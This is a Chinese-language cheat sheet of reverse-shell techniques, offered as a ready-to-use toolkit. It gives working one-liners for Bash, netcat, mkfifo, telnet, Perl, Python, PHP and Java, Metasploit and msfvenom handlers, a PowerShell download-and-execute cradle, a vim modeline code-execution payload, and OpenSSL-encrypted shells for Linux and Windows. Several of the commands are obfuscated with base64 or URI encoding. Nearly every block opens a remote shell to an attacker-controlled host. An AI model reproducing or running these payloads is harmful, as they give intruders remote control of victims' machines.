

# 常用反弹shell

## Bash

部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口

```
1 # 经典
2 bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
3 # 经典2
4 bash -c 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1'
5 # 在webshell中, 连接密码cmd
6 cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.16.8/443 0>%261'
7 # 利用nc
8 nc -e /bin/bash x.x.x.x 2333
9 # 利用exec
10 exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/x.x.x.x/2333; sh <&196 >&196
11 # 加密
12 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
```

## 解决反弹shell切换用户的问题

su: must be run from a terminal

```
1 python -c 'import pty;pty.spawn("/bin/bash")'
2 python3 -c 'import pty;pty.spawn("/bin/bash")'
```

## bash反弹shell时出现bash: no job control in this shell

原因是bash反弹没有加0>&1

正确: /bin/bash -i >& /dev/tcp/ip/1234 0>&1

uri编码后:

```
1 %62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%
1%36%38%2e%34%33%2e%31%37%31%2f%31%32%33%34%20%30%3e%26%31
```

## perl命令

```
1 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->
fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

Netcat反弹shell也是常用兵器,经典命令参数-e

```
1 nc -e /bin/sh x.x.x.x 2333
```

但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决

```
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333  
>/tmp/f
```

或者本地监听两个端口,通过管道,一处输入,一处输出

```
1 nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444
```

其他方式基本沿用以上思路, 如将nc更换为telnet等

```
1 mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
```

Metasploit的payload也提供各种反弹脚本

```
1 msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php  
2  
3 msf > use multi/handler  
4 msf exploit(handler) > set PAYLOAD php/reverse_php  
5 msf exploit(handler) > set LHOST x.x.x.x  
6 msf exploit(handler) > set LPORT 2333  
7 msf exploit(handler) > exploit
```

**离线安装nc**

64位

```
1 http://vault.centos.org/6.6/os/x86_64/Packages/nc-1.84-22.el6.x86_64.rpm
```

32位

```
1 http://vault.centos.org/6.6/os/i386/Packages/nc-1.84-22.el6.i686.rpm
```

安装

```
1 rpm -iUv nc-1.84-22.el6.x86_64.rpm
```

**JAVA:**

```
1 Runtime r = Runtime.getRuntime();  
2 String[] s = {"/bin/bash", "-c", "exec 5<>/dev/tcp/103.72.165.8/4444;cat <&  
5 | while read line; do $line 2>&5 >&5; done"};  
3 try {  
4     Process p = r.exec(s);  
5     p.waitFor();  
6 } catch (Exception e) {  
7     e.printStackTrace();  
8 }  
9
```

**python Linux Python2.7:**

```
1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0); os.dup
```

```
2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

## PHP:

```
1 php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

## 利用powershell反弹shell到metasploit

### 一、使用msfvenom生成PS1文件

```
1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.171 LPOR  
T=1234 -f psh-reflection >1.ps1
```

### 二、开启msf监听:

```
1 msf > use exploit/multi/handler  
2 msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp  
3 msf exploit(handler) > set lhost 192.168.43.171  
4 msf exploit(handler) > set lport 1234  
5 msf > run
```

启动apache2, 并将1.ps1复制到/var/www/html/目录下, 访问1.ps1存在。(kali:  
service apache2 start;cp 1.ps1 /var/www/html)

### 三、在目标机器执行cmd命令:

```
1 powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebCl  
ient).DownloadString('http://192.168.43.171/1.ps1');1.ps1"
```

## vim任意代码执行漏洞反弹shell:

创建shell.txt, 内容如下

```
1 \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('\n\nhup nc 192.16  
8.43.171 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen f  
dm=expr fde=assert_fails('\set\\ fde=x\\ \\|\\ source\\!\\ \\%\\') fd1=0: \x  
16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
```

侦听: 9999端口

执行:

```
1 $ vim shell.txt
```

## 使用OpenSSL侦听端口接收反弹shell

## Hacker:

生成证书:

```
1 openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
```

侦听端口:

```
1 openssl s_server -quiet -key key.pem -cert cert.pem -port 1234
```

## 目标机器:

Linux下使用mkfifo进行反弹shell (必须支持openssl) :

```
1 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:1234 > /tmp/s; rm /tmp/s
```

## Windows利用ssl反弹shell:

服务端要开启两个监听, 因为以上命令会从 ip:port1 获取命令发送给 cmd.exe执行, 然后把结果返回到 ip:port2, 因此在本机需要启动两个 s\_server

```
1 openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
2 openssl s_server -quiet -key key.pem -cert cert.pem -port 3333
```

Windows下执行命令 (需要支持openssl, 官网: <https://www.openssl.org/>) :

```
1 openssl s_client -quiet -connect x.x.x.x:4444 | cmd.exe | openssl s_client -quiet -connect x.x.x.x:3333
```

在4444上执行命令, 在3333查看结果。